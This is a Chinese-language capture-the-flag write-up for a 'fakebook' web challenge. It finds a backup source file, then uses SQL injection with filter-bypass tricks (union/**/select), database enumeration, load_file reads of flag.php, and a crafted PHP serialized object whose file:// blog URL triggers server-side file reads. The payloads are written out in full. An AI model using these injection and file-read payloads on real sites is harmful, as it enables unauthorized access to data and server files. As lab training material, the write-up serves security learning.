题目描述
主要有两个按钮登录和注册,经过测试,注册按钮不能正常使用。
查看网页下的robots.txt文件
关于robots.txt的描述
https://www.cnblogs.com/lzlzzzzzz/p/11700459.html
根据介绍,直接访问http://111.200.241.244:63286/user.php.bak
下载页面显示文件,查看该文件,用记事本打开,显示为PHP代码。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
在isValidBlog ()函数中,正则表达式对blog中内容有特殊字符的限制。
关于正则表达式各个符号的详细介绍:https://www.cnblogs.com/-run/articles/2371078.html
“/^(((http(s?))😕/)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/\S*)?$/i”
https://(可以写上,也可以不写)
(([0-9a-zA-Z-]+.))数字和字符再加上一个.
[a-zA-Z]{2,6} 英文字母a-z,A-Z,出现2-6次。
(:[0-9]+)?(/\S)? 出现0次或一次*
i(对大小写不敏感)
按照限制规则进行注册。
测试是否存在sql注入:单引号法,返回错误,存在注入。
构造sql语句
order by 3 //回显正常
order by 4 //回显正常
order by 5 //回显不正常
通过结果猜测,页面最多存在4个column。
采用union select了解哪个位置可以回显。
union select 1,2,3,4
猜测页面对select union 字符进行了过滤,因此尝试转换大小写,发现结果并没有改变,通过网上的经验,构造一些含有特殊符号的sql语句。
之后尝试用union select看看哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原语句查询结果置为空(no=4)
union++ select 1,2,3,4
union/**/ select 1,2,3,4
payload:http://111.200.241.244:49463/view.php?no=4%20union++%20select%201,2,3,4#
因此可以得出回显位置为第2位。
查看数据库名
union select 1,database(),3,4#
数据库名为fakebook。
查看数据库的用户名
union select 1,user(),3,4#
root用户有着极高的权限,mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。
view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
查看页面源代码,得到flag:flag{c1e552fdf77049fabf65168f22f7aeab}
否则,继续注入SQL语句,查找数据库中的表.,只发现users一个表。
view.php?no=2 union++ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
查找user表中的字段。
view.php?no=2 union++ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
查看具体字段所保存的数据。
no=2 union++ select 1,data,3,4 from users#
view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"ac";s:3:"age";i:23;s:4:"blog";s:7:"file:///var/www/html/flag.php";}'
view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
第一条sql记录为我自己构造的
第二条是参照别人的,在这里修改这里的参数为上一步返回的data字段的值,反而没有src中的数据呈现在源代码中,当且仅当s:4:“blog”;s:29:“file:///var/www/html/flag.php”;时,src中有如下所示源代码。将其进行base转换可以得到flag值。